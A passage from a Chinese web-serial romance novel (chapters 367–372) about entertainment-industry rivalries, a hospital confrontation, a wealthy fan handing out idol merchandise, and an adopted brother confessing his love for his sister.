再加上许愿,许愿身份地位摆在这里呢,温栩栩也没有遮掩过她跟许愿的关系,可许愿什么身份?她是盛世的总裁,来参加这种七天的小团综掉不掉价? 第367章 谈话 为了热度把许愿和自己卡在这敏感位置遭人怒骂无端多一堆黑粉给别人涨热度?她还没那么愚蠢无私。 温栩栩深深的望她一眼:“你这提议唐突且无力,我的建议是多读点书才会让你不显得这么无知引人发笑。” 话落也不看张雯悦面目狰狞到何种地步已经自行上了车,马琪离开前别有深意的瞥她一眼,嘲弄一笑方才挖苦道:“带着你一起出道可真是辛苦呢,林副导可要好好教教她,别等出道后再带着全团出丑了。”因为谁而辛苦不言而喻。 马琪和林海本就不是一路人,他们分属的团队都不一样。 马琪是许愿盛华下面的一家娱乐公司的制片人,这次也是有人提到温栩栩和许愿关系好的情同姐妹,所以马琪特意找关系打算这档综艺结束后成为温栩栩的个人经纪人。 她是不是喜欢温栩栩欣赏温栩栩另说,但确是实实在在看上了温栩栩的资源。 马琪手下还有其他艺人,且她亲妹妹马佳佳也是她的艺人,她还等着从温栩栩那些资源里面挑点好的给了妹妹,所以现在是一定会捧着温栩栩的。 而林海说是现在团综的副导演,其实也是以后女团正式出道的团队经纪人,马琪方才那句话可不就是在提醒他了吗。 林海铁青着脸接不上话,作为这个女团未来的团体经纪人,他此刻也有一种让上头把张雯悦踢出团的冲动。 女团出道后的新专辑一共十首歌,每人有一首属于自己的单曲放在专辑内,剩下五首为女团的歌,歌词一早分好的,上午把属于自己的部分录制完成,马琪在一旁候着,俨然已经看到娱乐圈内有一颗冉冉升起的巨星。 录制完歌曲温栩栩也不挑,随意在这边员工餐厅用餐,马琪在一旁跟着接了通电话,眼神时不时看向温栩栩,挂断电话对她说:“温栩栩我需要去外地跟你师姐马佳佳的组,这几天你自己没问题吧。” 温栩栩夹菜的动作缓了片刻:“马佳佳?你还带了别的艺人?” 马琪淡淡道:“作为华美娱乐的经纪人没有谁手中只有一名艺人的,你说的那种绝对是初出茅庐的小经纪人。” 华美娱乐,黎云笙黎氏旗下的一家娱乐公司。 这话温栩栩是信的,只是……她是个走后门的,如果是黎云笙安排的经纪人应该会以她为重才对。 温栩栩筷子放到餐盘上,她淡漠的看着面前的人,一双桃花眼没有半分涟漪只余淡薄疏离,餐厅的灯光在这一刻似乎有些晃眼,照射在她脸上更使那眼神多几分冷意。 “马姐跟马佳佳是什么关系。”温栩栩唇角的笑意并没有掩去,只那藏匿的冷意和眼底的审视无所遁形的打量着马琪。 马琪见识过那么多人,什么大场面没遇到过,可这会儿就因为温栩栩这个眼神被盯得内心发毛:“她是我妹妹。” 温栩栩似乎已经猜到两人的关系,毫不惊讶:“我还有个疑问,是谁安排马姐作为我的经纪人来带我的?” 马琪拧眉:“艺人经济部部长说是黎总身边的助理。” “哪位特助?” 马琪面色古怪:“你问这些做什么?” 温栩栩微笑:“好奇。” 马琪面色有异,不过圈内人稍微问一问都知道黎云笙身边有两位特助,这不是什么鲜为人知的秘密。 她开口道:“应该是李特助听了黎总的吩咐告诉部长让我带你。” 好了,温栩栩没有疑问了,直到马琪离开温栩栩都没再分神多看她一眼。 李静啊,就是那个心思多的绿茶。 当初她去看望黎云笙时就能感受到李静对她深深的敌意。 想来那个女人是爱慕黎云笙的,这么多年了还是用这么不入流的手段来给她使绊子。 如果是她安排的经纪人,那或许真的能安排一个人品低劣毫无下限为了火什么都能蹭的“王牌”经纪人。 只是……一个小小的特助有那么大的能耐给她安排经纪人? 温栩栩眯眸,她就等着她们露出马脚那天,让黎云笙亲眼看看自己身边的都是些什么魑魅魍魉。 …… 最近身体已经不大好一直虚弱的许宁躺在病床上,助理推开病房的门火急火燎的闯进来整个人因为激动的眼睛发亮。 “宁宁,跟沈略相关的热搜已经登顶头条了,现在所有人都在骂沈略,要求尽快审判沈略呢!” 沈略上了热搜,这件事闹得越来越大。 任谁也没想到这热搜不是傅氏炒上去的,而是跟许愿一向有仇的许宁。 听到这个好消息许宁兴奋的呼吸急促心脏剧烈跳动甚至传来疼痛,可她实在太高兴,高兴到能忽略这尖锐的疼痛。 沈略再厉害又能如何?有许愿护着又怎么样?最后还不是要被她踩一脚狠狠地踩到泥潭里去? 她心理阴暗的想着却是虚弱的扯扯唇角:“是沈略做了对不起傅氏的事情,他必须要给我们一个交代。” 助理也是连连应是。 许宁抚着心口,哪怕心口再疼也感受不到,整个人都被喜悦淹没。 门外傅嘉誉脸色难看的把手中的包甩到傅守越怀里一脚踹开门,许宁受了惊吓,一抬头就是傅嘉誉那厌恶的眼神,许宁虚弱的笑了笑内心却无比狰狞。 傅守越无奈的拎着傅嘉誉的包缓步走进病房,男人西装笔挺脊背挺得很直,眉目却英挺满身的漠然与危险,却是看到许宁时微微敛眉问道:“好些了?” 许宁低头不语,傅守越看她一眼。 傅嘉誉现在都快气死了。 她还有好多事呢,结果就被傅守越带来看望许宁,说什么现在是一条船上的人。 开玩笑。 许宁是什么东西?是死是活跟她有什么关系,凭什么牺牲她的时间来看望她?她们哪儿有那么好的交情! 许宁瞧不上傅嘉誉,巧了,傅嘉誉也天生对许宁没好感。可以说是两相交恶的地步。 傅嘉誉现在和许愿之间的感情算是掰了,但是她厌恶小三是厌恶到骨子里的!无论如何都无法接受小三! 第368章 不许喊他阿越哥哥 傅嘉誉扫了一眼她那病恹恹的模样翻了个白眼:“我今天还要去一档节目看我爱豆,你不是让我来看许宁?现在看过了我能走了吗?” 温栩栩的临时行程才发布到网络上,温栩栩的粉丝叫“小羽毛”。 小羽毛们的应援都来不及做,还是一些家里有钱的小羽毛在A市找了店连夜制作灯牌手幅和发给粉丝的明信片小贴纸。 小羽毛们不想输人输阵,势要让那群人看到自家爱豆的热度,傅嘉誉就是这群小富婆其中之一。 傅嘉誉是真的很喜欢明艳大美人的。 现在因为种种原因跟许愿也回不到过去了,她便粉上了温栩栩。 本来傅嘉誉的零花钱由她傅守越来打到卡里,但傅嘉誉的钱被朋友骗走了大半,就为这个傅守越给她的零花钱只剩以往的十分之一,只堪堪够她看场电影喝杯下午茶,去逛街都不敢大手大脚买新衣服,大小姐憋屈的不行,这次又见温栩栩要参加节目,正规票是买不到了,早出完了,也就黄牛手里还有高价票。 因着这一场有有名的人还挺多,有江恒还有温栩栩,平日里四五百一张的票被黄牛炒到上万,可傅嘉誉太想去了。 她是不提倡那些家境一般的人去黄牛那里买票支持,但她是有钱的,那笔钱对她来说真的毛毛雨……小金库被亲哥扣了,零花钱也不够买票做应援小礼品,她都要去卖自己的包包和首饰了。 傅守越也不逼她,就说带她去看一看许宁,看完后陪她一起去应援,连票都买好了。 傅嘉誉听到这话简直比吞了苍蝇还恶心,但为了追温栩栩还是认了,这才被带到医院看望因为各种糟心事被气到住院的许宁。 傅守越神情冷漠,但对傅嘉誉态度还算不错,听她这语气也没有生气。 傅守越其实也是走个过场,让许宁知道他们对她还算看中:“许宁你好好休息,我跟嘉誉还有事就先走了。” 许宁笑意僵硬了下:“阿越哥哥不跟我聊会天再走吗,我一个人在医院……很没意思。” 傅嘉誉向外走的脚步停住,她转过头去紧紧盯着许宁,眼神直勾勾的:“我不喜欢你喊他阿越哥哥。” 许宁一愣,她笑意浅了几分:“这个……就是礼貌而已。” 傅嘉誉一针见血:“你现在知道懂礼貌了?他是我哥哥!才不是你哥哥!不许你喊他哥哥,你一个小三喊他哥哥让我觉得恶心!不许!我不许!” 许宁最在乎自己的脸面,傅嘉誉是真狠,许宁本想膈应傅嘉誉喊了“阿越哥哥”,却被傅嘉誉这么不知道礼数的怼回来,还是当着傅守越的面让她没脸。 许宁低头,手却攥紧床单一言不发一副被欺负狠了的模样。 傅守越皱眉:“嘉誉。” 傅嘉誉绷着脸,直白开口:“哥,她都二十好几的女人了,能不明白哥哥不是随便喊的吗,整天用这种委屈可怜的语气喊你阿越哥哥,我恶心。谁知道会不会今天喊阿越哥哥明天喊情哥哥。” 傅守越眉头皱的愈发紧了,他知道傅嘉誉说的没错,只是这表达方式太过了一些:“她有喜欢的人,不会发生你说的那种情况。” 傅嘉誉撇嘴:“哥我不管!你是我哥哥!我就是占有欲强,见不得她跟我抢哥哥!” 许宁整张脸都白了。 说实话,她确实是对傅守越有兴趣。 傅京礼是绝不可能娶她了,她还想着未来自己能过好日子能嫁到傅家, 是傅守越主动找了她,他们是一条船上的人,且傅守越相貌也是顶好的,所以她克制不住想攻略傅守越,这才改口喊了阿越哥哥。 许宁千想百想也没想到这次又是傅嘉誉来给自己难堪。 许宁只觉喉头发堵,傅守越轻咳一声让傅嘉誉先走。 傅嘉誉高抬着头一点都不觉得自己错了,转身就出去了。 傅嘉誉就是故意的,她可不想继续忍着许宁,许宁不高兴她就高兴了。 见傅嘉誉走了,许宁垂头自嘲道:“说到底,你没把我看作是自己人吧。”她已经在示弱。 傅守越眼神没有什么波动,只看她的眼神颇有些意味深长:“许宁,在我面前不必演戏,你是什么人你心里清楚,不必喊我哥哥,我对你没有兴趣。” 许宁垂眸不语,只手紧紧攥着床单,眼神中闪过一抹明显的戾色。 半晌后许宁才僵硬的扯出一抹笑意来:“我只是想跟你们关系好一些让你们接纳我。” 傅守越看了她几秒,唇角的笑意早已隐匿不见:“不必多此一举,我说了,你帮我们以后会有你的好处,但旁的事,就不必多想了。” 许宁没抬头,也不再言语,傅守越淡漠道:“我公司还有事,你好好休息。” 话落,傅守越没再多说其他离开了。 许宁仍然低垂着头,助理踟蹰片刻走到许宁面前小声唤她:“宁宁,你也别太伤心了。” 许宁抬头露出一抹明艳的笑来:“我有什么可伤心的,我跟他们不是一路人,我没报那么大期待自然也不会多失望。我现在不伤心,我高兴呢。” 助理连连称是。 许宁靠在床头心却下沉,是傅守越主动找上她的,她会动别的心思不是很正常吗? 傅守越观望那么久难道不知道她是什么样的人吗? 说到底还不是在勾着她主动做点什么。 她只觉得心口疼的更厉害,不是尖锐的疼,是那种无法控制的酸涩的痛,那种被负情绪包裹的痛。 许宁眼眶已经红了大半。 她只是眸中闪过一抹寒光,终是没再说话望向窗外只觉得心更冷了。 傅嘉誉出门就要拦车,傅守越紧跟其后跟出租车师傅说了声抱歉把人带到一旁。 傅嘉誉这会儿火气正盛,说出的话也带刺:“怎么?为了你的宁宁妹妹特地来找我晦气说教的?你说再多我也讨厌她绝对不会给她好脸色。” “我讨厌小三,我这辈子都会讨厌小三,我绝对不可能跟许宁那个女人做什么好朋友!想都别想!” 第369章 温栩栩粉丝都这么好看吗 傅守越有点头痛,他也知道傅嘉誉跟许宁不对付,但总想着以后算是一条船上的人,好歹不要跟仇人似的,面子上过得去就行,早知道傅嘉誉真这么讨厌许宁他肯定不会提什么要求带她来。 他惹谁也不会招惹他想捧在手心的小祖宗。 “我错了嘉誉,都是我的错,你消消气。”傅守越在傅嘉誉这里是没条件的退让,千错万错都是他的错,小祖宗说什么是什么。 他这么好的认错态度傅嘉誉脸色才好了点:“我以后不想见许宁。” “好,能不见就不见。” 傅守越把她背上的背包拿过来提着,见他这样傅嘉誉态度才稍好一点。 “你把包给我,别跟着我了,我取了应援小礼物还要去电视台录制现场给粉丝们发应援呢。” 傅嘉誉伸手去拿自己的包,傅守越一声不吭抱紧那包:“嘉誉你那应援的礼物应该挺多的,你自己也没办法拿,干脆我开车带你去电视台那边陪你一起去。” 傅嘉誉哼了一声:“你又不是温栩栩粉丝,不让你去。” “可我是温栩栩粉丝的家属,我还能帮你发应援,帮你的小粉丝买水买饮料。”傅守越十分卑微。 傅嘉誉听到家属两个字却还是凶巴巴的,她以为自己很凶殊不知在男人眼中像兔子一样可爱,根本没有什么攻击力。 说到这里,傅守越提到:“温然没有陪你一起?” 他可还记得傅嘉誉那个男朋友呢。 傅嘉誉很明显愣了一下,片刻后低垂下头。 “他最近工作很忙没时间陪我。” 傅守越皱眉,到底没说什么。 他也是怕傅嘉誉伤心,其实最初他就看出来温然的心不在傅嘉誉身上。 他不提这个傅嘉誉更不会主动提这个。 傅嘉誉跟傅守越去吃了午饭才去工厂那边取了自己加几倍钱拿到的各式各样的小礼物。 作为温栩栩的有钱大粉,傅嘉誉给她做应援那绝对真情实感,毕竟以前学过设计,P图等软件运用的了如指掌,再加之温栩栩的图也不用怎么P就很好看。 她特地选了很多张温栩栩的舞台照做成一百页的册子,纸采用的最贵最好的,甚至比得上那些纸质杂志,足足印刷了五百本,厂家还特地多印了二十本算另送的。 傅嘉誉自留十本,又拿出五十本来在微博抽奖,剩下的打算在现场发给小羽毛们。 除此外还做了五百份头戴的头箍和发亮的灯牌,Q版的温栩栩小立牌也是五百份,桌上的小摆件也做了五百份,全都是要无私发给粉丝的物料。 壕是真的壕。 可惜的是装完那些册子傅守越的车上已经没了多少空地儿,他看着那几箱子的头箍和灯牌默了半晌打电话让助理开来了两辆车来装温栩栩的物料。倒是傅嘉誉把所有的物料都取出一份找了地方摆拍剪切又用了粉粉嫩嫩的滤镜用自己新申请没多久的小羽毛微博号【晴天的小羽毛呀】在超话发了应援物料图。 【晴天的小羽毛呀】:今日份应援物料~1、小羽毛专属小册子500份;2小羽毛专属可爱萌萌哒头箍500份;3小羽毛专属发光灯牌500份;4小羽毛专属Q版可爱栩栩小立牌500份;小羽毛专属礼品袋500份;小羽毛专属小勋章500份。以上应援物料每一种取出50份用来抽奖,三天后开奖慰藉那些不能到现场的小羽毛哦~ 傅嘉誉发了九张图,图中的写真小册子高大上,头箍可爱,小立牌也是温栩栩在舞台上港风造型又纯又欲,礼品袋则是用来装这些小礼物的。 【栩栩的大宝贝】:嘤!不能去现场,求大佬抽到我,拜大佬! 【栩栩小公举】:你们不要再转发微博啦!给我们这些不能去现场的孩子一点活路,嘤!给我吧给孩子吧! 【小羽毛会飞】:大佬还缺大腿挂件吗?缺女朋友吗躺平那种我觉得我可以。 小羽毛们看到这图们已经彻底嗷嗷嗷的疯了,纷纷转发并拜有钱大佬。 微博才发出去不久就已经有上百人转发了,足以见得傅嘉誉这位大粉有多壕。 傅嘉誉开开心心发微博,傅守越在一旁做苦力帮她搬应援物料却是任劳任怨,抬头瞥见她笑的眼睛弯起来不由的心也暖起来。 终于到了下午,现在已经有些冷了,各家粉丝都已经在电视台门口排起长队聚在一起,有的三三两两分开,有的已经在发应援物料了。 傅嘉誉吃过饭就把那些东西都装进了礼品袋中,自己头上则带了一个“晴天的小羽毛呀”作为标识好让粉丝们找到自己来认领应援物料。 那些应援物料分开装还不那么占地方,但用礼品袋装起来后,后车厢就不太够用了,傅嘉誉的意思是开一辆大卡车能一下全拉来,傅守越不肯,他觉得这样有点不符合他们小公主的身份。 于是傅守越思考了助理从公司叫来十个人当司机把自己车库那十辆爱车都开到电视台门外,什么路虎,劳斯莱斯,君越,宝马,一水儿的名牌车开到了电视台门口。 傅嘉誉提起开卡车市傅守越让她别管这事交给他,一定把事情办好一件应援物都少不了,结果到了电视台下车时才察觉出不对来,那门口闹哄哄讨论自家本命的粉丝们都噤声了。 一辆豪车常见,十辆豪车凑一起那就…… 粉丝们纷纷盯着那十辆车全都说不出话来,过了一会儿才开始交头接耳纷纷议论那是谁家粉丝那么嚎,也有人说估计不是一家是几家的,真要是一个粉丝开十辆豪车那不是有病吗。 下一秒傅嘉誉就下车了,临时被征召为司机的员工们头上戴了小羽毛的发箍下车。 方才那群讨论正欢的粉丝瞬间沉默了。 那些员工还是傅守越特地让助理挑选的公关部颜值过关的男同事女同事,全都是穿着正装头戴小羽毛发箍,那场面着实让其他粉丝震惊汗颜。 “那是温栩栩粉丝?这么……都这么好看的吗?” 第370章 哥哥你是不是喜欢我 “这才是真的粉随正主啊,全都是好看的小哥哥小姐姐!” 还不等他们震惊完就见那九位“司机”从车内提出同样包装的礼品袋寻了个空地然后齐刷刷的对刚下车还懵着的傅嘉誉喊道“傅小姐好!傅先生好!” 傅嘉誉头顶带着象征自己身份的头箍,被喊得一愣神,等反应过来后才脸有点发红的伸手去拧傅守越腰间软肉,奈何男人身材极好,身上哪儿来的软肉,就摸到结实的肌肉了。 傅嘉誉面红耳赤:“我不是说了让你开大卡车来吗,你怎么你怎么还……”傅嘉誉数了数这才继续训斥:“你怎么还找人开了九辆车来装物料呢。” 傅守越握住她的手:“是十辆,我们那辆也要算上。” 傅守越看她脸红了耳朵也红了心里道真可爱这才继续说:“给我们小公主送应援物料怎么也要让她风风光光的,卡车哪里配得上你的身份,小公主就该享受最好的待遇。” 傅嘉誉搓了把脸被她哥这话说的脸热,那头的粉丝们一直往这边看早猜到傅嘉誉是个千金小姐了,又瞧她身边站着一位面容俊美又儒雅温柔的男人顿时猜测是妹控的哥哥来送妹妹的。 小羽毛们也在远处围观,看到那礼品袋一群人看看微博傅嘉誉发的物料图又抬头看看傅嘉誉,看看微博又看看傅嘉誉有那么点不敢认了,不过还是有胆大的粉丝走上去小声道:“晴天?” 走近了就看到傅嘉誉头顶的发箍:“真的是晴天哎,你……你这是……” 那粉丝看看那些司机表情有些不太自然,兴许是头一次碰见这种大手笔的粉丝,有那么点束手束脚的。 傅嘉誉带着笑直接上去抱了抱小粉丝:“你来得正好,拿了应援就把头箍戴上吧,到时候栩栩来了一眼就能看到我们。” 小粉丝点点头领了应援物料,傅守越就跟在身后看妹妹发物料。 那名粉丝拿到应援后其他粉丝才敢上前来,傅嘉誉偶尔还跟他们聊几句问一问是微博上的哪位小羽毛同胞,过了不一会儿一群小羽毛就开始在这边排起了长队等着领她的应援物料。 有个跟傅嘉誉关系不错的小羽毛凑过来有点八卦道:“那个一直跟在你身边的是你哥哥吗?” 这个粉丝是网络上温栩栩的大粉,也是一壕粉这次同样做了物料,她的是挂画海报,跟傅嘉誉在网络上很是熟识,他们这些大粉也是有群的,总是在第一时间阻止粉丝帮温栩栩控制舆论洗广场。 大粉是个戴眼镜很文静的小姑娘,跟她网络上犀利开麦的形象完全不符,不过看起来很有学问的样子,应该是个学霸学神类型的人。 她笑着问道:“你哥哥有女朋友吗?如果没有的话我能不能要一下他的联系方式?” 一听这个,傅嘉誉笑容僵住,发放应援的动作都慢了半拍,她有些局促的偷偷看了傅守越一眼没说话。 傅守越抿唇走到傅嘉誉身边揽住她的肩膀笑的十分温柔:“不好意思,我现在只想照顾我妹妹。” 大粉意味深长的看着两人,傅嘉誉脸红了,像是有点明白傅守越的意思了但是又在一旁装傻。 大粉一副很懂的表情:“哦~小童养媳嘛,我懂我懂,很般配啊。”大粉撞了撞傅嘉誉满脸揶揄,傅嘉誉抬头瞪了眼无辜的某人:“你不要乱说。” 傅守越握住她的手凑到她耳边呢喃:“怎么是乱说呢,我的妹妹占有欲很强都不能听别人喊我阿越哥哥。” 傅嘉誉神色莫名:“她本来就不算是你妹妹,谁家妹妹那么矫情的喊别人叫‘阿越哥哥’。” 说完傅嘉誉不理人了,一扭头就是大粉打趣的眼神,转身又是傅守越带笑的眼,傅嘉誉继续发应援礼物也不多话了,傅守越也不愿意让妹妹一个人忙活,但看妹妹没打算让司机们插手,干脆自己作为家属在一旁陪着发应援。 傅嘉誉也没说什么拒绝的话还有点别扭,偶尔还有粉丝嘀嘀咕咕小声问傅守越是不是小羽毛是哪位大粉想认识一下的时候傅守越瞥了眼傅嘉誉头上代表自己身份的头箍,那头箍因为她的动作还在一晃一晃的,为了彰显自己是个萌妹子还加了兔耳朵。 傅守越看着那头箍上的字,一板一眼念了傅嘉誉的ID回了句:“我是‘晴天的小羽毛呀’的家属。” 傅嘉誉耳朵动了动“唔”了一声低垂着头正了正自己的头箍一副没听到的可爱模样。 那名粉丝眼睛放光:“那你肯定是晴天的哥哥了!哥哥可以留个联系方式吗,我看你长得超级像我未来男友!” 傅嘉誉发礼物的动作更慢了,嘴里嘟囔着招蜂引蝶,傅守越礼貌微笑:“我现在只想照顾妹妹。” 这话说的,像是拒绝的话,但是也透着几分古怪。 只想照顾妹妹…… 啧,怎么听着像是跟妹妹有什么暧昧呢。 排着长队都想要看帅哥的粉丝们惊讶的打量两个人,这会儿怎么看怎么觉得这两人像是一对儿。 还有粉丝不死心的去问傅嘉誉两人到底是什么关系,傅守越却但笑不语,只说“守护妹妹”。 这下谁也不清楚这两人是不是在玩什么兄妹py了。 傅嘉誉抬头眨眨小鹿眼,男人漆黑的眸中只余柔情,他面对傅嘉誉时一直都是如此,好像收起了浑身的锋芒又变成幼年时期她最依赖最喜欢最不能离开的阿越哥哥。 是了,傅嘉誉幼时会喊他哥哥,有时候要他背着或者哄睡时也会喊阿越哥哥,所以她不能听许宁喊他阿越哥哥。 许宁的身份和做过的那些事她是绝不可能接受跟许宁成为什么好友。今天如果不是因为许宁体弱多病她只会嘲的更过分。 傅嘉誉唇角不受控制的弯了弯,一如幼时收到傅守越的礼物惊喜快乐的表情,眼睛里重新有了亮光。 傅守越低头看着发呆的妹妹,发应援的动作也没慢下来,看她的头箍晃了晃手实在是有点痒忍不住的弹了一把,头箍晃的更欢。 傅嘉誉抬头望着他,恍恍惚惚的突然开口问了句。 “哥哥,你是不是喜欢我。” 第371章 弟妹,又见面了 傅嘉誉问的并不突然,她望着面前的男人,不知道为什么一时冲动就问了出来。 这一句话:“哥哥,你是不是喜欢我”,这话说出来可能会改变很多事。 傅守越喜不喜欢傅嘉誉? 怎么可能不喜欢呢? 幼年时期他是被傅嘉誉拯救带回了傅家,如果没有傅嘉誉,傅长海不会有善心去收养他。 傅长海收养他,只因为傅嘉誉说他看着好可怜,想多一个哥哥,傅长海这才把他留在身边。 他幼时吃过太多苦,做事一向谨慎,做任何事都藏着自己的心思,但是面对傅嘉誉他会卸下心房。 他想,妹妹这样单纯可爱,他要守着她一辈子。 他不是没想过跟傅嘉誉在一起,但他觉得自己配不上她。 她是天之骄女,他又算是什么?被傅长海捡回家的流浪狗罢了。 所以傅长海提出让他开拓海外市场并在未来辅佐傅嘉誉掌控傅家后他甚至没有多想,他觉得自己生来就是为了守护她的。 可是对她的感情也一点点变质。 怎么会不喜欢呢,喜欢到他可以舍弃自己的命去爱她。 傅守越低头望着她,漆黑的瞳眸里潜藏的是深沉涌动的完全没有遮掩的汹涌情意。 “嘉誉,你有男朋友了。” 他没有正面回答傅嘉誉的问题,他只提到她有男朋友了。 她那个对她好像并没有多少感情的学长温然。 傅嘉誉有一瞬的茫然,她揪拽着自己的衣袖。 “我们分手了。” 傅守越顿住,傅嘉誉抬头便看到自己哥哥脸上根本无法遮掩的笑意,傅嘉誉本来还有点忧伤,现在却有些无奈。 “哥你这样是不是过分了,我分手了啊!” 傅守越这才轻咳一声,嗯了下:“我听到你说分手了,他不适合你,分了也挺好的。” 见到温然第一眼他就知道温然不适合傅嘉誉,温然对她没有爱意。 “哪有哥哥这样盼着自己妹妹分手的……”傅嘉誉小声嘀咕。 傅守越忍不住笑了笑,在她耳边很轻很轻的低喃:“那如果我不想做你的哥哥呢,嘉誉,我是你的爱慕者。” 虽然早就猜到了,但傅守越这样打直球,傅嘉誉的脸登时红透了。 “你现在别跟我说这些,等……等回去再说!” 温然跟她提分手的时候就问她,傅守越跟她是什么关系,她当时整个人都是懵的。 温然告诉她,傅守越喜欢她,傅嘉誉半晌说不出话,因为她猜到过傅守越的感情只是不敢戳破,温然提分手的时候看到她的反应心里就有结果了。 温然不喜欢傅嘉誉,对她的感情从头到尾都是利用,他恨傅长海所以才从傅嘉誉下手想要报复,可时间久了发现傅嘉誉是无辜的,她被养的太单纯了。 所以他提了分手,他甚至给傅嘉誉留了句忠告,他说好好跟着傅守越,他会护住你。 他话里面的深意是,哪怕傅长海出事,傅守越舍了他的命也会护着她。 傅嘉誉那时不懂,但她懂了温然提到傅守越的感情,现在果然明了。 就看今天傅守越什么都依着她宠着她的模样,兄妹感情早就变质了吧。 傅嘉誉凶巴巴的,傅守越看她这副模样笑声仿佛都带上了几分调侃之意,甚至伸手去捏她的头箍。 傅嘉誉捂住自己的头箍伸出手砸他胳膊,男人笑起来把她的头箍摘下来揉乱了她蓬松的长发,头箍被抢来带到自己头上,傅守越摇着头晃着那头箍哄她。 傅嘉誉眼睛又弯起来伸手也要学傅守越方才的动作去拍那头箍,他弯腰将那发箍送到她手中由她拨弄的玩耍,她唇角的笑意越来越深,视线下移对上男人那双幽深眼底藏匿深情的一双黑眸心跳乱了一拍。 傅嘉誉后退一步:“快发应援物料了。” 她结结巴巴的提醒他。 傅守越站直身体余光却一直注视着身旁的妹妹,粉丝们早就已经小声惊呼:“啊啊啊啊啊好有爱啊!是谁说他们不般配的啊!好配啊!” “他又在看晴天了!又在看了!绝对是真爱了!”有粉丝羡慕的捂着嘴发出姨母笑,俨然一副自己崽崽拐了个大帅哥回家的表情。 “拍下来没有拍下来没有,他们两个的互动拍了没?”有粉丝才放下手机另一个粉丝就凑上来激动询问,才放了手机的粉丝不停点头捂着心口一副自己快受不了的模样。 粉丝们兴奋的脸都红了,不仅是为今天能见到温栩栩脸红,还为见到这么绝配的一对儿脸红当场就磕上了。 温栩栩这边应援做的到位江恒那边也不遑多让,各家大粉也纷纷发放应援,但是这两天温栩栩和江恒的绯闻,两家的关系其实还是有点古怪的,不过理智的大粉没有起冲突,相处还挺友好。 轰隆隆的摩托车声从远到近,一辆拉风骚包黑红相间的摩托车出现在大家面前,车上那人停了车动作肆意潇洒的从车上跳下去随手摘掉头盔丢到车上露出那双邪肆中带点嚣张坏意的野性面容,那相貌跟江恒有几分相似。 众人目光都被吸引了去,一时之间不知道是个什么想法,就想感叹。 这TM是什么运气,一个温柔腹黑型帅哥又来了个野性十足的小狼狗帅哥! 来人拂弄自己额前的短发笑的肆意,他面带笑意的走到傅守越面前冲他挑挑眉伸手拍了拍傅嘉誉的手背:“呦弟妹,又见面了。” 傅嘉誉整个人都傻了。 来人是江恒的哥哥江行舟,江家嫡系血脉,江家继承人。 说起来江恒能无所顾忌勇往无畏的闯荡娱乐圈全因为上面有这么个哥哥撑着。 江行舟的交友范围比较广泛,譬如跟韩城约过酒打过架后来一笑泯恩仇成了好友,跟黎云笙赌过球合作过数次关系也是极好的,不过跟他关系最好的还是傅守越,主要原因还是因为读书时期江行舟长得白白嫩嫩被欺负过,那会儿傅守越才被傅家捡回家,打架不要命,帮了江行舟一把,也因为这个江行舟黏上了他,算是因此建立了革命友谊。 第372章 见到他绕道走 傅嘉誉听见弟妹二字,脸腾时就红了。 “我不是……” 顿时江行舟又支棱起来了,他嗤了一声:“哦,这么久了还没拿下嘉誉妹妹呢,傅守越你是不是不行啊。” “说的好像你结束单身了。”傅守越斜他一眼:“大老远跑过来就是为了占便宜的?” 说罢傅守越讽他:“就算嘉誉真的跟我在一起那也不该是弟妹。” 江行舟自己抢了个礼品袋翻看着里面装的东西:“哪儿能啊,我本来就比你大,你老婆难道不是我这老哥哥的弟妹?” 傅守越呵了一声:“你哪儿大?” 江行舟乐了:“嘿你怎么还开黄腔呢。” 傅守越嗤了一声一点没面对傅嘉誉时的温柔,还带点嫌弃,不过两人倒也是老相识嫌弃归嫌弃,熟也是真的熟。 “骑着你的小情儿溜达来这里干什么?闲的没事就回去继承家产。” 江行舟的小情儿,摩托车。 傅守越就见不得他整日里浪来浪去。 傅守越对傅嘉誉说:“嘉誉,以后见了他离远点最好绕道走。” 听了这话江行舟满脸不乐意:“怎么了,凭什么见了我就绕道走?有你这么跟弟妹介绍哥的吗。” 傅嘉誉手里握着自己的头箍眼珠转了转:“也不用他特意介绍,你在我们圈子里还是挺有名的,放荡不羁江行舟应该没几个不知道,不过我觉得放荡不羁你也就占了‘放荡’俩字。” 圈子里谁不知道江行舟聪明归聪明,但是浪也是真的浪啊。 江行舟没话说了,行吧这是事实,他也没得洗。 江行舟啧了一声低头开始看礼品袋里的应援物料,翻看写真集看一眼啧一声,边看边说:“我真想撬黎云笙墙角,越看越想挖墙脚。” 他跟黎云笙关系不错,是真羡慕黎云笙有温栩栩啊。 傅嘉誉双手叉腰:“你才配不上栩栩,做梦都不许你乱想。” 温栩栩和黎云笙的事虽然娱乐圈没传出去,但是上流圈子或多或少都知道黎云笙放出过消息,直到两人是夫妻。 岁傅嘉誉的话江行舟也就笑笑,他可没真想撬墙角,就是单纯口嗨。 江行舟翻完写真集又去看挂画和小摆件,兴味盎然的:“你这东西做的还真不错。” “说正事,你大老远跑来到底干嘛的?看江恒的?”傅守越挑眉:“江恒的粉丝在那边发应援,你走错地方了。” 江行舟把小挂件和写真放到礼品袋里提在手中晃了晃这才继续道:“我来追星的,从江恒那抢来了一张前排的票,不过我追的不是江恒,我追的是温栩栩。” 江行舟拿出温栩栩粉丝专属“小羽毛”的头箍戴在头上,那头箍的“温栩栩”还是找人专门设计了字体,旁边画了小羽毛,一看就是温栩栩的粉丝。 江行舟手里摁着灯牌的开关,手里红色的灯牌发出刺眼的光芒,他道:“我一男的追星追我弟一男人像话吗,我当然是要追美女的。” 傅守越手搭在他肩上十分郑重开口:“千万别让黎云笙听到这话。” 江行舟哪能不知道这个,他也就是过嘴瘾,。 江行舟哎了一声:“我帮你们一起发要不我闲的没事干就想骑我小情儿到处溜达。” 傅守越瞥了眼自己身旁的空位,江行舟识相的站到他身边。 早有粉丝听到他们的对话,时不时有人目光放到江行舟身上。 江行舟长得很好,特别是身上带着的那股子邪气野性坏坏的感觉十分撩拨人,别说女生了,就连男粉也没忍住问他是不是单身要不要加个微信。 瞧这魅力,那不是一般人能比的。 江行舟掀唇却十分诚实:“我有数不清的前任也是A市各大夜店的常客,怎么样,还要联系方式吗?” 江行舟做事很有原则,你要跟我交朋友留号码起码让你知道我是什么玩意儿,想谈情说爱那估计没辙,他不说爱只用做的。 粉丝们看他目光愈发灼热了,甚至觉得这是江行舟拒绝她们想出来的新招式是一个十分有想法的狼狗帅哥。 这样的狼狗帅哥是她们栩栩的粉丝,啧,倍儿有面子。 